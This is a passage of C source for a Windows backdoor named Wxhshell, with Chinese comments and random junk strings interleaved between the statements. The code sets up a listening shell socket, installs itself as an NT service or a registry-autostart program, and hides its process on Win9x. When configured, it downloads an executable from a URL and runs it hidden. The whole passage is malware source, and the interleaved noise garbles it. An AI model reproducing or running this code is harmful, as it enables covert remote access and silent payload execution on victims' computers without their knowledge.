HI if(!hProcess) return 0; zO%w_7w :<|Z.4}kJb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [UoqIU Rs2-94$!5 CloseHandle(hProcess); M+0x;53nz wazP,9W? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pajy#0 U if(hProcess==NULL) return 0; G.Tpl-m !3h{lEB HMODULE hMod; Je^Y&a~ char procName[255]; vevf[eO- unsigned long cbNeeded; 4f!dYo4L QWw"K$l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;u,rtEMy; _%%yV CloseHandle(hProcess); -,^WaB7u\ uoHqL IpQ if(strstr(procName,"services")) return 1; // 以服务启动 .U 39nd U+} y
%3l return 0; // 注册表启动 ;|!MI'Af } ugI#ZFjJWE x9%-plP // 主模块 \n_3Bwd~ int StartWxhshell(LPSTR lpCmdLine) #&V5H{ { [t{](- SOCKET wsl; .a:Z!KF BOOL val=TRUE; VD/&%O8n int port=0; Lyr2(^#: struct sockaddr_in door; G?<pBMy i
j/o;_ if(wscfg.ws_autoins) Install(); Aq"PG}Ic yX'IZk#_L port=atoi(lpCmdLine); KaW~ERx5 Rboof`pVt if(port<=0) port=wscfg.ws_port; $T),DUYO p.C1 nh WSADATA data; cz#_<8'N if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fj^AWv^/ lUHtjr if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vL$|9|W( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y@3kU*-1 door.sin_family = AF_INET; akC>s8tqlA door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Oiev u_"| door.sin_port = htons(port); b+Vi3V @h#Xix7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i=L8=8B` closesocket(wsl); 1"O&40l return 1; 4)^vMG& }
RL*]g* TT7PQf > if(listen(wsl,2) == INVALID_SOCKET) { P?J kP closesocket(wsl); /PqUXF return 1; GJ `UO } 1i'Zei) Wxhshell(wsl); JpK[&/Ct WSACleanup(); +_~,86 OR;&TbWF(R return 0; _R74/| p+[}Hxx= } u s`} @6b[GekZ< // 以NT服务方式启动 Q>=-ext}q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *H"aOT^{ { y9!:^kDI DWORD status = 0; M"(6&M=? DWORD specificError = 0xfffffff; sJ~P:g c&*l" serviceStatus.dwServiceType = SERVICE_WIN32; hk}
t:< serviceStatus.dwCurrentState = SERVICE_START_PENDING; h$Tr sO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pq?*C;D serviceStatus.dwWin32ExitCode = 0; fhRjYYGI serviceStatus.dwServiceSpecificExitCode = 0; F\LsI;G serviceStatus.dwCheckPoint = 0; TatMf;?h& serviceStatus.dwWaitHint = 0; KO&:06V{ l.oBcg[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -B9S}NPo if (hServiceStatusHandle==0) return; q-
:4=vkn yW("G-Nm status = GetLastError(); &@6 GI< if (status!=NO_ERROR) g$w6kz_[ { A(+:S"|@ serviceStatus.dwCurrentState = SERVICE_STOPPED; Hf%_}Du /` serviceStatus.dwCheckPoint = 0; SF< [FM%1 serviceStatus.dwWaitHint = 0; "PzP;Br serviceStatus.dwWin32ExitCode = status; DA=1KaJ . serviceStatus.dwServiceSpecificExitCode = specificError; O]{*(J/t SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|<BF return; $<OhGk- } ug#<LO-.Rd 2-mQt_
i serviceStatus.dwCurrentState = SERVICE_RUNNING; #
X/Q serviceStatus.dwCheckPoint = 0; J3B.-XJ+n serviceStatus.dwWaitHint = 0; VR4%v9[1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y|sma;D } {mSJUK?TKl 8lwM{?k$ // 处理NT服务事件,比如:启动、停止 %F J#uQXZ VOID WINAPI NTServiceHandler(DWORD fdwControl) 0d4cE10 { 85z;Zt0{ switch(fdwControl) Tpzw=bC^ { Rd%0\ B case SERVICE_CONTROL_STOP: :JlDi>B serviceStatus.dwWin32ExitCode = 0; D|Si)_
Iz serviceStatus.dwCurrentState = SERVICE_STOPPED; 4j3oT)+8 serviceStatus.dwCheckPoint = 0; rk,p!}FqL serviceStatus.dwWaitHint = 0; H]Wp%"L {
$Nu)E SetServiceStatus(hServiceStatusHandle, &serviceStatus); !O{z 3W } <HQ&-j x return; T//S, case SERVICE_CONTROL_PAUSE: Df@/cT serviceStatus.dwCurrentState = SERVICE_PAUSED; u+2Lm*M break; 2EfflZL3 case SERVICE_CONTROL_CONTINUE: "HC)/)Mv@ serviceStatus.dwCurrentState = SERVICE_RUNNING; c7qwNs*f break; %
{Q-8w! case SERVICE_CONTROL_INTERROGATE: RrWNJ&o break; vg(K$o{BT };
maDz W_3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); *#2Rvt*Ox } O,mip Of`c`-<j // 标准应用程序主函数 ]k*1KP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0=;YnsY { N E=
w6 0x5xLg;Q // 获取操作系统版本 o.^y1mH' OsIsNt=GetOsVer(); 2U9&l1P= GetModuleFileName(NULL,ExeFile,MAX_PATH); ` X}85 8i:[:Z // 从命令行安装 D$nK`r if(strpbrk(lpCmdLine,"iI")) Install();
p5<2N /2@["*^$ // 下载执行文件 4;*f1_;f~ if(wscfg.ws_downexe) { %-j&e44 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gj+3y9 WinExec(wscfg.ws_filenam,SW_HIDE); L'9N9CR{i } *IZf^-=Q HarFE4V if(!OsIsNt) { R0<< f] // 如果时win9x,隐藏进程并且设置为注册表启动 U:|H9+5 HideProc(); s, XM9h>P4 StartWxhshell(lpCmdLine); Y8ehmz|g]J } H06Bj(Y! else G$5m$\K if(StartFromService()) ]W)
jmw'mo // 以服务方式启动 \+Y!ILOI StartServiceCtrlDispatcher(DispatchTable); GDPo`#~ else HFS+QwHW // 普通方式启动 jvs[ / StartWxhshell(lpCmdLine); 6c<ezEJ Q6^x8 return 0; ;&?pd"^<_Z }
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